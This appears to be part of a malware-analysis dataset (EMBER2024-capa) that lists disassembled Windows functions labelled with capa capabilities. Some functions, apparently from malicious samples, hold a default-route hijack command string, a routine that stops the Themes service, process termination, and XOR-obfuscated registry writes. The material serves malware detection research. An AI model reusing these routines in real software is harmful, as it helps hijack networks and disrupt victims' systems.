joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400206b5
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [0x1400204db]
mov rdx, rax
lea rax, [0x140037dd0]
mov rcx, rax
call fcn.14001fae6
mov eax, dword [0x14002cac0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140020708
mov rax, qword [rbp - 0x10]
jmp 0x140020868
call fcn.14001f250
mov qword [rbp - 0x10], rax
mov rax, qword [0x14003a050]
test rax, rax
je 0x140020724
cmp qword [rbp - 0x10], 0
jne 0x14002072e
mov eax, 0
jmp 0x140020868
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call fcn.14001f374
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x140020809
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x14002cac0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x140020864
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140020962
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call fcn.1400206b5
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call fcn.140020509
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x1400209cf
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x14002cac0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140020b13
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140020a6c
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140020a27
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14001f12c
mov qword [rbp - 0x10], 0
mov eax, dword [0x14002cac0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x140020b13
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140020aa6
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x140020b13
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14001f12c
mov qword [rbp - 0x10], 0
mov eax, dword [0x14002cac0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x141531210
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141531397
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141531241
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141531227
add dl, dl
jne 0x14153124e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1415312ae
xor eax, eax
add dl, dl
jne 0x14153125d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141531365
add dl, dl
jne 0x14153126e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14153127b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141531288
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141531295
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1415312a2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141531236
mov eax, 1
add dl, dl
jne 0x1415312be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1415312cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1415312b3
sub eax, ebx
mov ebx, 1
jne 0x141531304
mov ecx, 1
add dl, dl
jne 0x1415312e6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1415312f3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1415312db
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141531236
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141531320
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14153132d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141531315
cmp eax, 0x7d00
jae 0x141531353
cmp eax, 0x500
jb 0x14153134e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141531236
cmp eax, 0x7f
ja 0x141531356
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141531236
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14153138a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141531236
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x141787058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1417871df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141787089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14178706f
add dl, dl
jne 0x141787096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417870f6
xor eax, eax
add dl, dl
jne 0x1417870a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417871ad
add dl, dl
jne 0x1417870b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417870c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417870d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417870dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1417870ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14178707e
mov eax, 1
add dl, dl
jne 0x141787106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141787113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417870fb
sub eax, ebx
mov ebx, 1
jne 0x14178714c
mov ecx, 1
add dl, dl
jne 0x14178712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14178713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141787123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14178707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141787168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141787175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14178715d
cmp eax, 0x7d00
jae 0x14178719b
cmp eax, 0x500
jb 0x141787196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14178707e
cmp eax, 0x7f
ja 0x14178719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14178707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1417871d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14178707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140001960
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019ac
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Get routing table

Disassembly:
push rbx
push rbp
sub rsp, 0x1c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8d, [rbx + 0x3c]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x180001210
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x1e8], rdi
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x180001098
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x18000120c
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rbp
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x1800011f8
cmp dword [rbp], ebx
mov qword [rsp + 0x1f0], r12
mov r12d, ebx
jle 0x1800011b8
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1c0], r13
lea r13, [rbp + 8]
nop dword [rax + rax]
mov ecx, dword [r13 - 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x30]
mov edx, 0x80
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
mov ecx, dword [r13]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0xb0]
mov edx, 0x80
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
mov ecx, dword [r13 + 8]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x130]
mov edx, 0x80
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
lea rsi, [rsp + 0x30]
lea rdi, str.0.0.0.0
mov ecx, 8
repe cmpsb byte [rsi], byte [rdi]
jne 0x18000116a
lea rsi, [rsp + 0xb0]
lea rdi, str.0.0.0.0
mov ecx, 8
repe cmpsb byte [rsi], byte [rdi]
je 0x18000117d
inc r12d
add r13, 0x38
cmp r12d, dword [rbp]
jl 0x1800010e0
jmp 0x1800011a8
lea rcx, [0x18000b4d0]
nop word [rax + rax]
movzx eax, byte [rsp + rbx + 0x130]
inc rbx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x180001190
mov ebx, 1
mov rsi, qword [rsp + 0x1e0]
mov r13, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x1f0]
mov eax, ebx
mov rdi, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.180006740
add rsp, 0x1c8
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x1800011d6
mov eax, ebx
jmp 0x1800011de
Function at 0x180001220
Capabilities:
Initialize winsock library
Print debug messages

Disassembly:
sub rsp, 0x1d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
test edx, edx
je 0x1800012e6
cmp edx, 1
jne 0x180001306
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180001306
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x18000b488], rax
test rax, rax
je 0x180001306
lea rcx, str.message_Ok.
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call section..text
test eax, eax
jne 0x1800012a9
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
test eax, eax
je 0x180001295
lea rcx, [0x18000b4f0]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [0x18000b4d0]
lea rdx, str._c_route_add_0.0.0.0_mask_0.0.0.0__s
lea rcx, [0x18000b4f0]
call qword [sym.imp.MSVCR90.dll_sprintf]
call fcn.180002a90
mov byte [str.SOFTWARE_test], 0
jmp 0x180001306
mov rcx, qword [0x18000b488]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18000b368]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180006740
add rsp, 0x1d8
ret

Function at 0x180001330
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea rdx, str.Themes
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov ebx, 0x1d
lea r8, [rsp + 0x20]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1800013a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
je 0x1800013c0
cmp dword [rsp + 0x24], 1
je 0x1800013c8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0xffffffff
jne 0x180001383
jmp 0x1800013c8
mov dword [rsp + 0x24], 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180001480
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, dword [0x18000b644]
xor edx, edx
mov ecx, 0x1f0fff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800014c9
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1800014c0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x1800014d0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rcx
xor ebp, ebp
xor edx, edx
lea ecx, [rbp + 0xf]
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x4c]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x18000155e
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x4c]
cmp cl, 0x41
jl 0x180001556
cmp cl, 0x5f
jg 0x180001556
add cl, 0x20
mov byte [rsp + rax + 0x4c], cl
inc rax
cmp rax, rdx
jl 0x180001540
lea rax, [rsp + 0x4c]
mov rdi, rsi
sub rdi, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x180001582
inc rax
test ecx, ecx
jne 0x180001570
test edx, edx
je 0x180001599
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180001520
jmp 0x1800015a8
mov eax, dword [rsp + 0x28]
mov ebp, 1
mov dword [0x18000b644], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x18000b6a0], 0
mov eax, ebp
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180006740
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180002d00
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x40]
lea r8, [0x180000000]
lea rdi, [rsp + 0x40]
mov rax, qword [r8 + 0x8440]
mov qword [rcx], rax
mov rax, qword [r8 + 0x8448]
mov qword [rcx + 8], rax
mov rax, qword [r8 + 0x8450]
mov qword [rcx + 0x10], rax
movzx eax, word [r8 + 0x8458]
mov word [rcx + 0x18], ax
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x5a], rax
mov qword [rsp + 0x62], rax
mov qword [rsp + 0x6a], rax
mov byte [rsp + 0x72], al
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x180002d8d
add byte [rsp + rax + 0x40], 2
inc rax
cmp rax, rdx
jl 0x180002d80
mov rax, qword [r8 + 0x8460]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x8e]
mov qword [rdx], rax
mov eax, dword [r8 + 0x8468]
mov dword [rdx + 8], eax
movzx eax, word [r8 + 0x846c]
mov word [rdx + 0xc], ax
xor edx, edx
lea r8d, [rdx + 0x57]
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x180002e00
nop word [rax + rax]
add byte [rsp + rax + 0x80], 3
inc rax
cmp rax, rdx
jl 0x180002df0
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [0x18000b6a4], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180002e8e
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x30]
cmp eax, 0xf4240
jbe 0x180002e84
add eax, 0xbc614e
mov dword [0x18000b6a4], eax
jmp 0x180002e8e
mov dword [0x18000b6a4], 0
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180002e9e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.180006740
add rsp, 0x100
pop rdi
ret
Function at 0x1800036d0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x18000b60c], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x18000b368]
lea rax, [rsp + 0x40]
lea rdx, [0x18000ac24]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x180003720
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
jle 0x1800037de
lea r10, [0x18000b648]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x180003760
xor ecx, ecx
test r9d, r9d
jle 0x18000379a
mov r8, r10
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r8 - 1], al
cmp ecx, r9d
jl 0x180003780
mov rcx, qword [0x18000b368]
lea eax, [r9 + 1]
lea rdx, [0x18000ac28]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdi + rbx - 1], al
test al, al
jne 0x1800037d0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800037f0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
jle 0x1800038ae
lea r10, [0x18000b658]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x180003830
xor ecx, ecx
test r9d, r9d
jle 0x18000386a
mov r8, r10
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r8 - 1], al
cmp ecx, r9d
jl 0x180003850
mov rcx, qword [0x18000b368]
lea eax, [r9 + 1]
lea rdx, [0x18000ac40]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdi + rbx - 1], al
test al, al
jne 0x1800038a0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800038c0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x18000b624], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x18000b368]
lea rax, [rsp + 0x40]
lea rdx, [0x18000ac4c]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret
Function at 0x180003910
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
jle 0x1800039ce
lea r10, [0x18000b668]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x180003950
xor ecx, ecx
test r9d, r9d
jle 0x18000398a
mov r8, r10
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r8 - 1], al
cmp ecx, r9d
jl 0x180003970
mov rcx, qword [0x18000b368]
lea eax, [r9 + 1]
lea rdx, [0x18000ac58]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdi + rbx - 1], al
test al, al
jne 0x1800039c0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800039e0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
jle 0x180003a9e
lea r10, [0x18000b678]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x180003a20
xor ecx, ecx
test r9d, r9d
jle 0x180003a5a
